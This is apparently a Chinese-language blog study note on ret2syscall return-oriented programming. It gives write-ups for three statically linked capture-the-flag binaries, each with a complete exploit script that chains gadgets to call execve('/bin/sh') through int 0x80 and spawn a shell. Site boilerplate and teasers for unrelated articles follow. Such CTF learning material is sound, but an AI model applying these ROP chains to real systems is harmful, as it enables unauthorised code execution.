ret2syscall简单总结

主要是自己的简单的学习总结。

知识点

关于系统调用如何传递参数问题,即系统调用约定(syscall,int 80h,svc)_int 80h intel汇编用法-CSDN博客

ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)

主要是参数和调用号的传递

像ax这种的可以通过函数返回值来控制对应的值,比如read返回读取的字节数。

64位

syscall

syscall是64位的系统调用

调用号通过 rax传递

参数传递: rdirsirdxrcxr8r9

32位

int 80h

调用号: eax

参数: ebxecxedxesiedi


Intel 体系系统调用最多6个参数,都是通过寄存器传递,都不通过栈。

系统调用的返回结果在ax

Example

以64位为例

我们想调用

execve("/bin/sh",NULL,NULL)

eax : execve的系统调用号 0xb

ebx : 第一个参数,指向"/bin/sh"的地址

ecx : 第二个参数,0

edx: 第三个参数,0

一些例题

就是
ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)
里面提到的几道

[buu] inndy_rop

题目

checksec:
checksec
这里有个很关键的点:
在这里插入图片描述

从这里要意识到,这个程序是静态链接的(当然也可以file查看elf文件),所以ret2libc是失效了。

这道题用的就是文章提到的第一种方法,利用ecx[ecx] 来设置好写入地址以及写入的值

要注意这里查找gadget的方法: ROPgadget --binary=./pwn | grep 'pop dword ptr \[ecx\]'
在这里插入图片描述
然后是syscall调用execve
格式: execve(“/bin/sh”,0,0)

根据系统调用传递规则:

eax: 11
ebx: "/bin/sh"地址
ecx: 0
edx: 0
int 0x80

对应exp:

pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
pop_ecx_mem_ret = 0x0804b5ba # [ecx]
int_0x80 = 0x0806c943

bss = 0x80EAF80


payload = b''
payload += b'a'*0xC + b'b'*4 + p32(pop_ecx_ret) + p32(bss) + p32(pop_ecx_mem_ret) + b'/bin' \
		 + p32(pop_ecx_ret) + p32(bss+4) + p32(pop_ecx_mem_ret) + b'/sh\x00'

payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

sl(payload)

p.interactive()

[buu] cmcc_simplerop

题目
ubuntu16
checksec:
在这里插入图片描述
同样的,也是静态链接。

程序里面有read,而且bss段可写,那么就对应文章提到的第二种方法。
这里存在80字节的溢出。
考虑把返回地址改为read函数,再进行一次read,把/bin/sh 读入bss段。

然后就是后面syscall的时候要传 eax=11,但此时栈顶的三个元素是read函数的参数,所以先要pop三次清空栈顶。

最后还有一个点要注意,写入的字符串离返回地址 ebp+4的offset是0x20 而不是用IDA算出来的 0x14 + 4 = 0x18
这可以用gdb调试查看:
在这里插入图片描述
read函数原型

ssize_t read(int fd,void *buf,size_t count);
read(0,bss,8);

然后就是这里直接找ecx的gadget找不到,但pop_ecx_ebx_ret也能用

对应exp:

pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
pop_edx_ecx_ebx_ret = 0x0806e850

offset = 0x20
read = 0x0806CD50
bss = 0x80EAF80

payload = b'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx_ret) # pop * 3
payload += p32(0) + p32(bss) + p32(8)
payload += p32(pop_eax_ret) + p32(11) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ebx_ret) + p32(0) + p32(bss) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

sla("Your input :",payload)
sl(b'/bin/sh\x00')

p.interactive()

picoctf_2018_can_you_gets_me

题目
跟上面的题一样的,这里就记录下直接用 ROPgadget生成的ropchain的打法

ROPgadget --binary ./pwn --ropchain

在这里插入图片描述

对应IDA看下offset即可
24+4=28

直接用生成的ropchain

# Padding goes here
offsest = 28
p = b'a'*offsest

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80


io.sendafter("NAME!",p)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/775137.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024年【山东省安全员A证】考试试卷及山东省安全员A证考试试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 山东省安全员A证考试试卷根据新山东省安全员A证考试大纲要求&#xff0c;安全生产模拟考试一点通将山东省安全员A证模拟考试试题进行汇编&#xff0c;组成一套山东省安全员A证全真模拟考试试题&#xff0c;学员可通过…

react 项目中预防xss攻击的插件 dompurify

一、安装 $ yarn add dompurify $ yarn add --dev types/dompurify 二、使用 import DOMPurify from dompurify;// 1、处理&#xff1a; DOMPurify.sanitize(htmlContent)// 2、之后放进 dangerouslySetInnerHTML dangerouslySetInnerHTML{{ __html: cleanHTML }} 如&#…

Django自动生成Swagger接口文档 —— Python

1. 前言 当接口开发完成&#xff0c;紧接着需要编写接口文档。传统的接口文档通常都是使用Word或者一些接口文档管理平台进行编写&#xff0c;但此类接口文档维护更新比较麻烦&#xff0c;每次接口有变更&#xff0c;需要手动修改接口文档。在实际的工作中&#xff0c;经常会遇…

Docker:三、安装nginx与tomcat

&#x1f341;安装常见服务 &#x1f332;安装nginx &#x1f9ca;1、搜索镜像 Ⅰ.hub docker上查询&#xff1a;https://hub.docker.com/_/nginx Ⅱ. 命令查询&#xff1a;docker search nginx &#x1f9ca;2、下载镜像 命令&#xff1a;docker pull nginx &#x1f9c…

mmfewshot 框架概述、环境搭建与测试(一)

一、mmfewshot 框架概述 少样本学习的基本流程&#xff1a; 我们将为所有小样本学习任务引入一个简单的基线&#xff0c;以进一步说明小样本学习的工作原理。最明显的流程是微调。它通常包括两个步骤&#xff1a;在大规模数据集上训练模型&#xff0c;然后在小样本数据上进行微…

Matlab进阶绘图第62期—滑珠气泡图

在之前的文章中分享了滑珠散点图的绘制方法&#xff1a; 在此基础上&#xff0c;添加尺寸参数&#xff0c;通过散点的大小表示一个额外的特征&#xff0c;便是滑珠气泡图。 由于Matlab中没有现成的函数绘制滑珠气泡图&#xff0c;因此需要大家自行解决。 本文利用自己制作的B…

【C++】 解决 C++ 语言报错:Invalid Use of Incomplete Type

文章目录 引言 在 C 编程中&#xff0c;“Invalid Use of Incomplete Type” 是一种常见错误。此错误通常在程序试图使用未完全定义的类或结构时发生。这种错误不仅会导致编译失败&#xff0c;还可能导致程序行为不可预测。本文将详细探讨无效使用不完整类型的成因、检测方法及…

信号量(semaphore)

一、信号量简介 前面介绍的消息队列主要用于传输数据&#xff1a;任务与任务之间、任务与中断之间 在有些情况下&#xff0c;不需要传输数据&#xff0c;只需要传递状态即可 • 车开出停车位&#xff0c;你的车可以停进来了 • 课已经录制完成&#xff0c;你可以进行观看了 1.…

学习测4-缺陷管理略

缺陷 缺陷管理工具 jira 禅道 qc cq Bugfree缺陷的类型&#xff1a; 遗漏 missing 该做的没做 错误 error 该做的做错了 额外的实现 extra 不该做的做了软件缺陷的表现形式&#xff1a; 一.软件未实现需求规格说明书要求的功能 二.软件出现了需求规…

windows电脑如何运行python的定时任务

这里需要使用&#xff1a;windows系统设置-控制面板里的计划任务 1.打开计划任务之后&#xff0c;选择&#xff1a;创建基本任务 2.填写名称&#xff0c;这里根据自己具体的项目需求填写&#xff0c;然后点击下一步。 3.选择每日&#xff0c;再点击下一步 4.设置时间&…

【腾讯内推】腾讯2025校招/青云计划/社招——长期有效

及时跟进进度&#xff0c;保证不让简历石沉大海&#xff01; 涵盖NLP/CV/CG/ML/多模态/数据科学/多媒体等各方向! 定向匹配优质团队/竞争力薪酬/覆盖全球工作地点! 招聘对象: 本硕博:2024年1月-2025年12月毕业的同学 目前最热岗位: 技术研究-自然语言处理 技术研究-计算机视觉 …

【CV炼丹师勇闯力扣训练营 Day24:§7 回溯3】

CV炼丹师勇闯力扣训练营 代码随想录算法训练营第24天 93 复原IP地址 有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&#xff09;&#xff0c;整数之间用 ‘.’ 分隔。 例如&#xff1a;“0.1.2.201” 和 “192.168.…

VBA提取word表格内容到excel

这是一段提取word表格中部分内容的vb代码。 Sub 提取word表格() mypath ThisWorkbook.Path & "\"myname Dir(mypath & "*.doc*")n 4 index of rowsRange("A1:F1") Array("课程代码", "课程名称", "专业&…

【Spring Boot】统一数据返回

目录 统一数据返回一. 概念二.实现统一数据返回2.1 重写responseAdvice方法2.2 重写beforeBodyWriter方法 三. 特殊类型-String的处理四. 全部代码 统一数据返回 一. 概念 其实统一数据返回是运用了AOP&#xff08;对某一类事情的集中处理&#xff09;的思维&#xff0c;简单…

【qt】如何获取网卡的信息?

网卡不只一种,有有线的,有无线的等等 我们用QNetworkInterface类的静态函数allInterfaces() 来获取所有的网卡 返回的是一个网卡的容器. 然后我们对每个网卡来获取其设备名称和硬件地址 可以通过静态函数humanReadableName() 来获取设备名称 可以通过静态函数**hardwareAddre…

10元 DIY 一个柔性灯丝氛围灯

之前TikTok上特别火的线性氛围灯Augelight刚出来的时候一度卖到80多美金&#xff0c;国内1688也能到400多人民币。 随着各路国内厂商和DIY创客的跟进&#xff0c;功能变多的同时价格一路下滑&#xff0c;虽然有的质感的确感人&#xff0c;但是便宜啊。 甚至关注的up有把成本搞到…

C语言 -- 操作符详解​

C语言 -- 操作符详解​ 1. 操作符的分类2. 二进制和进制转换​2.1 2进制转10进制​2.1.1 10进制转2进制数字​ 2.2 2进制转8进制和16进制​2.2.1 2进制转8进制​2.2.2 2进制转16进制​ 3. 原码、反码、补码​4. 移位操作符​4.1 左移操作符​ 4.2 右移操作符​5. 位操作符&…

野指针的概念 如果规避野指针

目录 野指针的概念 有关野指针的代码 如何规避野指针 野指针的概念 野指针就是指针指向的位置是不可知的&#xff08;随机的&#xff0c;不正确的&#xff0c;没有明确限制的&#xff09; 有关野指针的代码 指针未初始化&#xff1a; #include<stdio.h> int main…

通过RpmBuild构建redis-5.0.9版本的RPM类型包

系列文章目录 rpmbuild基础知识 文章目录 系列文章目录前言一、rpmbuild相关操作1、安装rpmbuild命令2、安装spec文件检查工具3、查看rpmbuild版本4、编译工具安装5、修改rpm制作包的默认路径 二、资源准备1、创建rpmbuild工作目录2、目录作用解释3、下载redis源码包4、上传re…